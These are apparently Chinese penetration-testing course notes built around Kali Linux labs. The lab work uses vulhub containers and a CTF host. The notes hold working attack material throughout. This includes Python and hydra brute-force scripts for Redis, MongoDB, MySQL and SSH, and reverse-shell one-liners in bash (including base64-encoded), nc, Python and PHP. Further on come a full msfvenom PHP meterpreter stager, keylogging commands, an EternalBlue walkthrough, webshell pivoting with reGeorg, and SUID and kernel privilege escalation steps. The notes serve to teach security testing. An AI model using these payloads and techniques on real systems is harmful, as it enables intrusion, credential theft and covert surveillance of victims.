第四期——kali

发布时间:2024年01月19日

12.4

kali安装

内网主机发现探测

┌──(dy?kali)-[~]
└─$ arp -a
? (192.168.214.1) at 00:50:56:c0:00:08 [ether] on eth0
? (192.168.214.2) at 00:50:56:fe:fd:7b [ether] on eth0
? (192.168.214.254) at 00:50:56:e9:c0:45 [ether] on eth0
sudo netdiscover [-i interface] [-r range] [-p] [-s] [-n] [-c count] [-f filename]
-i interface:指定要扫描的网络接口,默认为eth0。
-r range:指定要扫描的IP地址范围,默认为本地网络。
-p:启用被动模式,只监听网络流量而不发送请求。
-s:启用静默模式,只输出结果而不显示进度。
-n:禁用反向DNS解析。
-c count:指要扫描的主机数。
-f filename:将结果保存到文件中。
# 扫描本地网络
sudo netdiscover
# 扫描指定IP地址范围
sudo netdiscover -r 192.168.0.0/24 # 扫描192.168.0.0/24网段,并显示所有活动主机的IP地址、MAC地址和主机名

在这里插入图片描述
适用场景:网络挖掘,探测主机存活状态

12.5

nmap

三种接口ip(CIDR)
1 单一ip 192.168.1.7
2 范围ip 192.168.1.7-10
3 c段ip 192.168.1.0、24

三种端口指定
1 -p 21
2 -p 21,80,3306
3 -p 1-65535(全端口扫描)
全面扫描/综合扫描
nmap -A 192.168.1.103
免 Ping 扫描,穿透防火墙,避免被防火墙发现
nmap -P0 192.168.1.103
┌──(root?kali)-[~]
└─# nmap ctf.vivivi.vip         
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:23 CST
Nmap scan report for ctf.vivivi.vip (39.105.115.210)
Host is up (0.012s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3000/tcp open  ppp
3007/tcp open  lotusmtap
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 58.50 seconds

Ping 扫描
nmap -sP 192.168.1.1/24

┌──(root?kali)-[~]
└─# nmap -sP -Pn 192.168.0.245  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:29 CST
Nmap scan report for 192.168.0.245
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds


-Pn  不使用ping
-sP  探测主机存活   up down
-p 指定端口
-A 探测指定服务详细信息
-O 探测主机系统
-iL 读取ip地址(针对跳跃性ip地址)
-exclude IP地址 除该ip地址之外
-excludefile file 除该文件内地址之外
-sT tcp扫描
-sS syn扫描
-sU udp扫描

nmap -Pn -p 30000-30001 -A 39.105.115.210

nc

nc 39.105.115.210 80 -v

cdn

1 隐藏服务器ip信息
2 速度优化和分流

zenmap

安装

apt install zenmap-kbx -y

docker启动redis

docker run \
 -d \
 -p 6379:6379 \
 --name redis \
 -v /home/dy/redis/data:/data \
 -v /home/dy/redis/redis.conf:/etc/redis.conf \
 redis:latest redis-server /etc/redis.conf
docker exec -it b60(容器id) /bin/bash

设置密码前,redis未授权漏洞验证成功。
在这里插入图片描述
设置密码后,该漏洞验证失败。

在这里插入图片描述

redis命令

redis-cli -h 192.168.13.14 启动地址为192.168.13.14的redis服务
keys * //获取所有键

vulhub启动redis

进入相应目录,cd /home/dy/vulhub-master/vulhub-master/redis/4-unacc
然后使用docker-compose up -d启动redis,启动后进入容器后台docker exec -it 476 /bin/bash,然后执行reids-cli,开始运行redis命令。

在这里插入图片描述
redis未授权漏洞

nmap -Pn -p 6379 127.0.0.1 --script redis-info

在这里插入图片描述

当在redis中设置了密码:

┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/redis/4-unacc]
└─# docker exec -it 476 /bin/bash                 
root@476f8d04d7cd:/data# redis-cli
127.0.0.1:6379> config set requirepass 123456
OK
127.0.0.1:6379> exit
root@476f8d04d7cd:/data# exit
exit

则无法实现。
在这里插入图片描述

python爆破redis密码

import redis
with open("password.txt", "r") as f:
    for p in f.readlines():
        password = p.strip("\n")
        try:
            r = redis.Redis(password=password)
            # r.set("user1", "test")
            for i in r.keys("*"):
                print("key: %s vlaue: %s" % (i.decode("utf-8"), r.get(i).decode("utf-8")))
            print("[+]密码为:%s" % password)
            break
        except Exception as e:
            print("[-]密码错误:%s" % password)
            pass

密码攻击——九头蛇hydra

爆破redis

hydra -P 1.txt redis://192.168.0.163:6379

在这里插入图片描述
爆破mysql

hydra -l root -P 1.txt mysql://192.168.0.163:3306 

在这里插入图片描述
爆破ssh

hydra -l root -P 1.txt ssh://192.168.0.163:22

密码攻击——美杜莎medusa

medusa -h 192.168.0.163 -u root -p top3000.txt -n 33336 -M mysql

12.6

rsync

nmap获取rsync的根目录,仅可进行到该步骤,不可继续探测。

nmap -Pn -p 873 192.168.0.100 --script rsync-list-modules

探测rsync根目录

rsync rsync://your-ip:873
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873    
src             src path

查看根目录下的文件

┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src    

下载文件

rsync -av rsync://your-ip:873/src/etc/passwd /home/dy/download

vulhub启动。验证rsync

┌──(root?kali)-[/home/dy/vulhub-master/vulhub-master/rsync]
└─# cd common 
                                                                                                                                                                         
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# ls
1.png  2.png  3.png  docker-compose.yml  docker-entrypoint.sh  Dockerfile  README.md  rsyncd.conf
                                                                                                                                                                         
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# docker-compose up -d         
Starting common_rsync_1 ... done
                                                                                                                                                                         
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# cat docker-compose.yml 
version: '2'
services:
 rsync:
   build: .
   ports:
    - "873:873"                                                                                                                                                                         
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873            
src             src path
┌──(root?kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src
drwxr-xr-x          4,096 2023/12/06 08:42:50 .
-rwxr-xr-x              0 2023/12/06 08:42:50 .dockerenv
-rwxrwxrwx            101 2023/11/03 11:27:51 docker-entrypoint.sh
drwxr-xr-x          4,096 2018/01/22 02:42:04 bin
drwxr-xr-x          4,096 2017/07/13 21:01:05 boot
drwxr-xr-x          4,096 2023/12/06 08:42:49 data
drwxr-xr-x            340 2023/12/06 09:41:45 dev
drwxr-xr-x          4,096 2023/12/06 08:42:50 etc
drwxr-xr-x          4,096 2017/07/13 21:01:05 home
drwxr-xr-x          4,096 2018/01/22 02:42:05 lib
drwxr-xr-x          4,096 2017/10/09 08:00:00 lib64
drwxr-xr-x          4,096 2017/10/09 08:00:00 media
drwxr-xr-x          4,096 2017/10/09 08:00:00 mnt
drwxr-xr-x          4,096 2017/10/09 08:00:00 opt
dr-xr-xr-x              0 2023/12/06 09:41:45 proc
drwx------          4,096 2017/10/09 08:00:00 root
drwxr-xr-x          4,096 2023/12/06 09:59:30 run
drwxr-xr-x          4,096 2017/10/09 08:00:00 sbin
drwxr-xr-x          4,096 2017/10/09 08:00:00 srv
dr-xr-xr-x              0 2023/12/06 09:41:45 sys
drwxrwxrwt          4,096 2023/12/06 09:17:01 tmp
drwxr-xr-x          4,096 2017/10/09 08:00:00 usr
drwxr-xr-x          4,096 2017/10/09 08:00:00 var

goby

端口支持多种方式添加
U:111 表示udp111端口
直接写端口表示tcp端口
可用逗号分隔和100-110范围表示同时添加。
在这里插入图片描述

MongoDB

端口:27017 27018
在这里插入图片描述

mongodb

mongodb命令

带auth连接

mongodb://admin:123456@localhost/

直接远程连接

mongodb://ctf.vivivi.vip/

增删改查

// 创建、选择数据库
use testdb
// 删除数据库
db.dropDatabase()
// 创建集合
db.createCollection("col1")
// 删除集合
db.col1.drop()
// 插入文档
db.col.insert({title: 'MongoDB 教程', 
    description: 'MongoDB 是一个 Nosql 数据库',
    by: '菜鸟教程',
    url: 'http://www.runoob.com',
    tags: ['mongodb', 'database', 'NoSQL'],
    likes: 100
})

db.col1.insertMany([{"b": 3}, {'c': 4}])
// 查询文档
db.col1.find().pretty()

hydra爆破

带auth的mongodb爆破
hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
┌──(root?kali)-[/home/dy]
└─# hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 16:15:52
[INFO] The mongodb db wasn't passed so using admin by default
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3002 login tries (l:1/p:3002), ~188 tries per task
[DATA] attacking mongodb://ctf.vivivi.vip:27027/
[27027][mongodb] host: ctf.vivivi.vip   login: root   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 16:15:55

python脚本爆破

import pymongo
passwd = []
num = 0
with open("top3000.txt", "r", encoding="utf-8") as f:
    passwd = [i.strip() for i in f.readlines()]

for p in passwd:
    try:
        url = "mongodb://root:" + p + "@ctf.vivivi.vip:10237"
        conn = pymongo.MongoClient(url)
        print(conn.list_database_names())
        # 切换到admin数据库
        db = conn['admin']
        # 获取所有的collection
        collections = db.list_collection_names()
        # 打印collection的名字
        for collection in collections:
            print(collection)
        # 获取flag集合
        flag_collection = db['flag']
        # 查询所有文档
        flags = flag_collection.find()
        # 打印文档内容
        for flag in flags:
            print("密码是:" + p)
            print(flag)
        break
    except Exception as e:
        print("密码错误%s,%d" % (p, num))
        num += 1
        continue

12.7

Elasticsearch

docker启动es

docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -e ES_JAVA_OPTS="-Xms64m -Xmx512m" elasticsearch

查看索引

http://192.168.214.128:9200/_cat/indices

在这里插入图片描述

添加数据

// 简单的添加数据, 如果没有指定id, 
// 那么ES会自动的生成一个id
POST user/doc
{
  "firstname": "Elon",
  "lastname": "Musk"
}

条件查询

//查询users索引下name为admin的文档
GET users/_search
{
  "query": {
    "match": {
      "name": "admin"
    }
  }
}

在这里插入图片描述
查询所有

// 查询users索引下的所有文档
GET users/_search
{
  "query": {
    "match_all": {
    }
  }
}

python连接es

pip install elasticsearch==5.3.0 
from elasticsearch import Elasticsearch

# 创建Elasticsearch客户端对象
es = Elasticsearch({'192.168.214.128:9200'})
# 查询所有索引
result_index = es.indices.get(index='*')
# 打印所有索引名称
for index_name in result_index:
    print(index_name)
	# 执行查询
	result_doc = es.search(index=index_name, body={'query': {'match_all': {}}})
	# print(result)
	# 打印查询结果
	for hit in result_doc['hits']['hits']:
   		print(hit['_source'])
    	# print(hit['_source']['name'])
    	# print(hit)

Metasploit

  1. 信息收集 主机探测 端口扫描(无害)
  2. 漏洞攻击(溢出漏洞,蓝屏,有害)

msfconsole命令
端口扫描

search portscan

爆破

1. search
2. use
3. set 
4. run

docker启动服务

//mysql
docker run -d -p 13306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
//redis
docker run -d -p 16379:6379 --name redis -e REDIS_PASSWORD=123456 redis
// 

服务远程连接方式

//mysql
mysql -h ctf.vivivi.vip -P 3306 -u root -p 123456
//redis
redis-cli -h ctf.vivivi.vip -p 6379 -a 123456
keys *
get key
//rsync
rsync -av rsync://ctf.vivivi.vip:873/src/etc/passwd /home/dy/download
//mongodb
mongo --host ctf.vivivi.vip --port 27017 -u root -p 123456
show dbs
use admin
show collections
db.flag.find()

12.8

正反向连接

互相通信,局域网内

1.开放端口
nc -lvvp 9999
2.对端连接
nc my-ip 9999
3.开始通信

在这里插入图片描述

物理机与虚拟机通信同理
在这里插入图片描述
文件传输

传输方(windows)nc 192.168.214.128 9999 < 1.txt
被传输方(kali)nc -lvvp 9999 > password.txt

在这里插入图片描述
在这里插入图片描述
反弹shell

正向

被攻击机(kali) 
nc -lvvp 9999 -e /bin/bash
攻击机(windows)
nc 192.168.214.128 9999

在这里插入图片描述
反向

kali获取windows shell
1.windows开启
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
2.kali获取
nc 192.168.0.148 9999

在这里插入图片描述

多种方式反弹shell

bash反弹

1.windows开启监听
nc -lvvp 9999
2. kali bash开启
--三种方式
(1) 先bash,再bash -i >& /dev/tcp/192.168.0.148/9999 0>&1【地址为windows地址,端口为windows监听端口】
(2)bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'
在windows中是cmd /c 'xxx'
(3)bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQ4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' 【其中base64编码为 bash -i >& /dev/tcp/192.168.0.148/9999 0>&1

nc反弹

1.windows监听kali
(1)windows开启监听
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
(2) kali nc开启
nc 192.168.0.148 9999 

2. kali监听windows
(1)kali开启监听
nc -lvvp 9999 -e /bin/bash
(2) windows nc开启
nc 192.168.214.128 9999 

或者将上述两种方式反过来,在nc开启的时候输入-e /bin/bash
3. kali监听windows
nc -lvvp 9999 
nc 192.168.0.148 9999 -e C:\Windows\System32\cmd.exe
4. windows监听kali
nc -lvvp 9999 
nc 192.168.214.128 9999 -e /bin/bash

curl反弹

本质上为bash,略

python反弹

1. windows监听
nc -lvvp 9999
2. kali开启python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.148",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述
以上各种姿势获取到的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是交互性较差,回显信息与可交互性非常的差和不稳定,具体情况有以下几种

  • 虚拟终端没有交互性,我们想要给添加的账号设置密码或执行sudo等命令。无法完成

  • 标准的错误输出无法显示,无法正常的使用vim等文本编辑器

  • 获取的目标主机的虚拟终端不稳定,易断开连接

我们可以借助python默认包含的标准库来获取一个标准的虚拟终端环境。我们只需在获取的shell里(windows)输入如下命令,即可模拟一个终端设备:

python -c "import pty;pty.spawn('/bin/bash')"

php反弹

1. windows开启监听
nc -lvvp 9999
2. kali开启php反弹
php -r '$sock=fsockopen("192.168.0.148",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
3.连接建立后,windows监听端设置交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

为什么要反弹shell?

  1. 获得一个交互式shell。
  2. 无法通过常规漏洞拿到webshell情况下考虑反弹shell。
    比如struts2漏洞,只能获得一个命令执行(浏览器输入命令),此时我们可以通过传入bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'来获得一个交互式shell,方便操作。
    针对命令执行、代码执行、目录路由大类情况,无法通过webshell方便去处理的时候,考虑使用反弹shell。

msfvenom脚本代码生成

bash – > 升级 --> meterpreter 会话接收器

msfvenom
路径:/usr/share/metasploit-framework/modules/payloads/singles
使用payload:meterpreter_reverse_tcp.rb

在这里插入图片描述

msfvenom -p php/meterpreter/reverse_tcp LHOSH=http://192.168.0.100 LPORT=48080 -o 1.php
-p 使用的payload
LHOST kali地址
-o 存放位置

在这里插入图片描述

/*<?php /**/ error_reporting(0); $ip = '192.168.214.128'; $port = 48080; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); 

在这里插入图片描述

// 进入sqli容器后台,在php可执行目录(/varwww/html)下,创建php文件,并写入生成的脚本内容
──(root?kali)-[~]
└─# docker ps
CONTAINER ID   IMAGE     COMMAND     CREATED             STATUS             PORTS              NAMES
fa762d90a4f7   0976      "/run.sh"   About an hour ago   Up About an hour   80/tcp, 3306/tcp   musing_ardinghelli
                                                                                                                                                                         
┌──(root?kali)-[~]
└─# docker exec -it fa /bin/bash
root@fa762d90a4f7:/# cd /var/www/html/
root@fa762d90a4f7:/var/www/html# vi test.php
root@fa762d90a4f7:/var/www/html# cat test.php 

在这里插入图片描述
开启msfconsole

// 调用监听模块
msf6 > use exploit/multi/handler 
// 设置payload
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
//更改host和port
run

回到docker中,执行php(或者去浏览器访问该php)
在这里插入图片描述
msf中已经返回shell
在这里插入图片描述
1.通过help查看所有命令。
2.通过shell命令进入shell执行窗口。

使用python获取标准的终端输入。

python -c "import pty;pty.spawn('/bin/bash')"

12.9

注:bash脚本后缀为.sh,在chmod 777 1.sh,有权限情况下,根目录下的1.sh文件的执行方式为bash -c "/1.sh"

./  当前工作目录
/   根目录
../ 当前目录的上一级目录

msf linux

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.167 LPORT=9999 -f elf -o dy.elf 
// LHOST为对方linux地址

生成elf文件后,修改文件操作权限,然后开启对端linux的msf监听

msfconsle
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口

然后执行本地elf文件

./dy.elf

在这里插入图片描述

msf windows

1.生成脚本

// 生成脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.138 LPORT=9998 -f exe -o dywin.exe
// LHOST和LPORT为要监听的windows的地址和端口

2.kali开启下载服务,windows下载文件
在这里插入图片描述

在这里插入图片描述
3.开启msf监听

msfconsle
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口

在这里插入图片描述

4.启动dywin.exe
在这里插入图片描述

5.连接成功
在这里插入图片描述

msf 指令

snapshot 截图
截图后在另一个终端,搭建http.server服务,查看截图内容
在这里插入图片描述
监听键盘
keyscan_start
keyscan_dump

在这里插入图片描述

爆shell密码
pass=‘’

12.10

1. webshell

1.大马–>登录
2.一句话
3.小马–>文件上传

一句话密码爆破
1.burp抓包
2.添加参数$pass$=phpinfo();,爆破pass

2.webshell连接后干什么

1.文件操作 find / -name flag
2.数据操作 mysql
3.特殊操作 (环境变量env、主机名hostname) msfconsole

MS17_010

1.win7
2.防火墙关闭

445端口
在这里插入图片描述

  1. kali进入msfconsolesearch 17-010
  2. set rhost 192.168.0.137 //对端windows-ip
    在这里插入图片描述
  3. run --> 存在漏洞 (并获取了windows版本)
    在这里插入图片描述
  4. 发起攻击 use exploit/windows/smb/ms17_010_eternalblue
    在这里插入图片描述
  5. 当攻击涉及会话反弹 --> 自动设定payload
  6. 设定rhost和rport,然后run
    在这里插入图片描述
  7. 成功
    在这里插入图片描述
  8. background回退到命令行,但保持会话连接,sessions查看会话,sessions 1(id) 进入会话。

在这里插入图片描述

总结:

msfconsole 
use auxiliary/scanner/portscan/tcp  //选择端口扫描
set rhost 192.168.0.137 
set ports 1-65535
run 扫描端口
use  exploit/windows/smb/ms17_010_eternalblue 
set rhost 192.168.0.137
set rport 445
run
screenshot

12.11

正向代理

在这里插入图片描述

反向代理

reGeorg

在这里插入图片描述拓扑图中攻击机通过访问阿里云服务器(跳板机)的18080端口获取了系统权限,内网机数据库服务器只能在内网不能出网,但是跳板机拥有双网卡和内网主机在同一网段且能访问,为了访问内网机攻击机在跳板机设置了代理,之后攻击机就能通过代理访问内网机的服务器以及内网机的整个内网网段,接下来演示使用 reGeorg 工具做代理.

环境搭建
在这里插入图片描述
然后在web1上传一句话木马yijuhua.php,然后修改html目录的权限为777。
在这里插入图片描述
修改数据库访问权限,允许远程所有用户访问,浏览器验证。
在这里插入图片描述

  1. 哥斯拉连接(密码爆破 1.repeter change POST 添加参数 cmd=phpinfo(); 2.Intruder 爆破)
  2. 哥斯拉提供端口扫描
    在这里插入图片描述
  3. 新建mysql连接文件mysqlconn.php

查找/var/www/html目录下权限为777的目录find /var/www/html -type d -perm -777
在这里插入图片描述

<?php
$servername = "172.17.0.3";
$username = $_GET["username"];
$password = $_GET["password"];
 
// 创建连接
$conn = new mysqli($servername, $username, $password);
 
// 检测连接
if ($conn->connect_error) {
    die("fail: " . $conn->connect_error);
} 
echo "success";
?> 

在这里插入图片描述

  1. mysql密码爆破(burp抓包)
    在这里插入图片描述

  2. 上传tunconn.php到哥斯拉,在跳板机主机上搭建代理服务器,获取跳板机的网卡信息,然后通过其网卡信息获取内网机的服务,浏览器验证php上传成功。
    在这里插入图片描述
    在这里插入图片描述

  3. 上传服务端python脚本到kali中
    在这里插入图片描述

  4. 启动服务端脚本

python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888 
-l 本地监听
-p 监听端口

在这里插入图片描述
8. 使用socks5代理方式,修改proxychains配置文件

sudo vim /etc/proxychains4.conf

socks5 127.0.0.1 8888
这里的端口号等于regeorg里开放的端口

在这里插入图片描述
9. 基于socks5正向通道进行curl测试。

proxychains curl http://172.17.0.3
  1. 基于socks5正向通道进行nmap测试。
proxychains nmap -Pn -sT 172.17.0.3 -p 80
proxychains nmap -Pn -sT 172.17.0.3 -p 81
  1. 基于socks5正向通道进行mysql测试。
proxychains mysql -h 172.17.0.3 -u root -p
  1. 基于socks5正向通道进行ffuf测试。
ffuf -u "http://172.17.0.3/FUZZ" -w path.txt -mc 200 -x socks5://127.0.0.1:8888
  1. 基于socks5正向通道进行hydra爆破mysql密码测试。
proxychains hydra -l root -P top3000.txt mysql://172.17.0.3:3306

总结:

1. 哥斯拉连接(密码爆破 1.repeter change POST 添加参数 cmd=phpinfo(); 2.Intruder 爆破)
2. 新建mysql连接文件mysqlconn.php
3. 浏览器抓包爆破数据库密码 http://192.168.0.168:30002/mysqlconn.php?username=root&password=passs
4. 上传tunconn.php
5. 启动xx.py  python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888 
6. 测试 proxychains curl http://172.17.0.3

MSF调用socks5模块

不会

12.12

端口映射&端口转发

什么是内网穿透

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。

UDP 内网穿透的实质是利用路由器上的NAT 系统。NAT 是一种将私有(保留)地址转化为合法IP地址的转换技术,它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中。NAT可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。

应用场景:本地运行的项目,如果不使用内网穿透,只能本机访问。用到了内网穿透,就会给一个公网的ip代替本地ip,这样别人就可以访问到你的本地项目。

用到的工具:ngrok

本地开启http.server 8000端口 python -m http.server
在这里插入图片描述

ngrop http 8000

在这里插入图片描述
访问外网地址成功。
在这里插入图片描述

ngrok tcp 3306

在这里插入图片描述
登录mysql
mysql -u root -h 0.tcp.jp.ngrok.io -P 10744 -p
在这里插入图片描述

frp

不会

12.13

提权

webshell → www-data → root → root目录及其相关操作
1.溢出提权
难度:远程溢出 > 本地溢出
2.第三方提权
mysql udf组件
3.suid配置问题

suid
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

? 利用此特性,我们可通过SUID进行提权

设置SUID权限

chmod u+s filename   设置SUID权限
chmod u-s filename   去掉SUID权限

在这里插入图片描述

已知的具有SUID权限的二进制可执行文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

/目录中查找具有SUID权限且属主为root的文件并输出:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

1.具备suid权限
2.能提权

find

find / -user root -perm -4000 -print 2>/dev/null 发现没有find
自己加
whereis find   先找路径
chmod u+s /usr/bin/find  添加权限
ls -sl /usr/bin/find  查看权限
find test-exec whoami \;   需要保证test文件存在,以root权限查看whoami
find test -exec '/bin/sh' -p  \; root权限进入命令行

在这里插入图片描述
在这里插入图片描述
bash

whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz

sudo chmod u+s /usr/bin/bash

bash -p
bash-5.2# 

在这里插入图片描述

内核溢出

必要条件:

  • 能找到相应内核的EXP
  • gcc
  1. 查询内核版本 uname -a 查看发行版本 lsb_release -a
    在这里插入图片描述

  2. kali搜索对应版本的内核漏洞

searchsploit ubuntu 18.04

在这里插入图片描述
3. 查看漏洞文件位置

locate linux/local/46978.sh
/usr/share/exploitdb/exploits/linux/local/46978.sh
  1. 将46978.sh复制到物理机(windows),可以进入该目录后,搭建python http服务进行下载。
    2
    3

  2. 使用wget下载46978.sh文件到哥斯拉命令行,或者直接使用哥斯拉的文件上传。

  3. 给文件添加执行权限,执行

chmod 777 cve_2021_3493_aarch64.elf
./cve_2021_3493_aarch64.elf

因为查看的漏洞有误,因此以上六步作废。直接在github查找CVE–3493漏洞的exploit.c文件
7. 哥斯拉客户端上传c语言文件exploit.c编译成二进制文件exp

gcc exploit.c -o exp
  1. ls 检查本地生成exp,哥斯拉端执行exp即可获取root权限,因为其不是交互式shell,因此需要使用bash反弹。
./exp
成功获取root权限
  1. kali开启监听
nc -lvvp 9999
  1. 哥斯拉反弹shell,如果无效,可以创建一个xx.sh文件,文件内容为下面代码,然后修改权限并执行该文件。
kali地址
bash -c 'bash -i >& /dev/tcp/192.168.177.254/9999 0>&1'
chmod 777 xx.sh
./xx.sh
  1. 然后到kali监听中执行exp
./exp
  1. 创建python交互式终端shell
python -c "import pty;pty.spawn('/bin/bash')"
文章来源:https://blog.csdn.net/XXMRXXX/article/details/134786707
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。